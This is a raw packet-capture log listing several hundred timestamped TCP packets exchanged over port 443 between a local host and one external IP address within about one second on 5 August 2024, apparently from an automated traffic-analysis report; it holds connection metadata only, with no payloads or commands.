Aug 5, 2024 11:57:29.242316008 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.242350101 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.242383957 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.242392063 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.242420912 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.242470026 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.242470980 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.242492914 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.242503881 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.242539883 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.242575884 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.274951935 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.275011063 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.275074005 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.275093079 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.275121927 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.275141954 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.275456905 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.275506020 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.275537014 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.275548935 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.275597095 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.275597095 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.275938034 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.275981903 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.276024103 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.276035070 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.276063919 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.276081085 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.276567936 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.276608944 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.276638985 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.276649952 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.276701927 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.276701927 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.282465935 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.282514095 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.282582045 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.282597065 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.282632113 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.282650948 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.283227921 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.283269882 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.283293962 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.283305883 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.283332109 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.283350945 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.339329004 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.339349985 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.339436054 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.339451075 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.339500904 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.339576960 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.339591980 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.339639902 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.339647055 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.339694023 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.366745949 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.366801023 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.366846085 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.366858959 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.366898060 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.366898060 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.367000103 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.367060900 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.367067099 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.367089987 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.367122889 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.367142916 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.367253065 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.367295980 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.367321968 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.367332935 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.367357969 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.367387056 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.367847919 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.367888927 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.367918968 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.367929935 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.367958069 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.367976904 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.373310089 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.373353004 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.373382092 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.373394012 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.373420954 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.373451948 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.373922110 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.373967886 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.374001026 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.374011993 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.374048948 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.374221087 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.430506945 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.430560112 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.430682898 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.430701971 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.430728912 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.430751085 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.430872917 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.430912971 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.430943966 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.430954933 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.430983067 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.431005955 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.457509041 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.457550049 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.457612991 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.457633018 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.457660913 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.457684040 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.457783937 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.457823992 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.457851887 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.457864046 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.457889080 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.457909107 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.458122015 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.458165884 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.458189011 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.458199978 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.458233118 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.458249092 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.458715916 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.458759069 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.458802938 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.458813906 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.458842993 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.458863020 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.464004993 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.464057922 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.464091063 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.464102030 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.464128971 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.464148998 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.464842081 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.464881897 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.464941025 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.464951992 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.464996099 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.465013027 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.521593094 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.521608114 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.521677017 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.521686077 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.521733999 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.521866083 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.521883965 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.521923065 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.521928072 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.521955013 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.521971941 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.548907995 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.548923016 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.549060106 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.549067020 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.549117088 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.549446106 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.549459934 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.549519062 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.549525976 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.549568892 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.550014019 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.550028086 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.550071955 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.550077915 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.550110102 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.550129890 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.550622940 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.550637007 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.550682068 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.550688028 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.550710917 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.550728083 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.555509090 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.555526972 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.555572033 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.555578947 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.555598021 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.555613041 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.556355000 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.556377888 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.556411982 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.556417942 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.556447983 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.556458950 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.611596107 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.611613035 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.611759901 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.611768007 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.611814976 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.612097979 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.612113953 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.612154007 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.612166882 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.612200975 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.638786077 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.638802052 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.638894081 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.638900042 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.638940096 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.639252901 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.639265060 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.639305115 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.639312029 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.639338970 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.639363050 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.639779091 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.639791012 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.639841080 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.639847040 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.639873028 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.639889002 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.640327930 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.640341043 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.640391111 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.640398026 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.640438080 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.645245075 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.645265102 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.645317078 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.645332098 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.645347118 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.645378113 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.645785093 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.645800114 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.645838976 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.645843983 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.645869017 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.645885944 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.702529907 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.702547073 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.702641010 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.702655077 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.702706099 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.702889919 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.702903032 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.702948093 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.702956915 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.702980042 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.702994108 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.730011940 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.730038881 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.730079889 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.730087042 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.730118036 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.730135918 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.730320930 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.730341911 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.730374098 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.730381012 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.730408907 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.730427980 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.730745077 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.730766058 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.730802059 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.730809927 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.730838060 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.730855942 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.731057882 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.731079102 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.731113911 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.731118917 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.731142044 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.731158972 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.738379955 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.738415003 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.738460064 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.738486052 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.738512993 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.738533974 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.738801003 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.738827944 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.738869905 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.738881111 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.738908052 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.738925934 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.794130087 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.794188023 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.794225931 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.794245958 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.794270039 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.794292927 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.794361115 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.794408083 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.794462919 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.794462919 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.794476986 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.794524908 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.820986032 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.821012974 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.821067095 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.821079016 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.821105957 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.821158886 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.821376085 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.821391106 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.821455956 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.821456909 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.821469069 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.821511984 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.822314024 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.822333097 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.822369099 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.822379112 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.822408915 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.822424889 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.822681904 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.822699070 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.822746992 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.822757959 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.822804928 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.827194929 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.827217102 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.827280998 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.827310085 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.827348948 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.827533007 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.827554941 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.827599049 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.827605963 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.827621937 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.827647924 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.884907961 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.884948015 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.884987116 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.885013103 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.885035038 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.885085106 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.885117054 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.885143042 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:29.885154009 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:29.885176897 CEST	49731	443	192.168.2.4	185.199.110.133
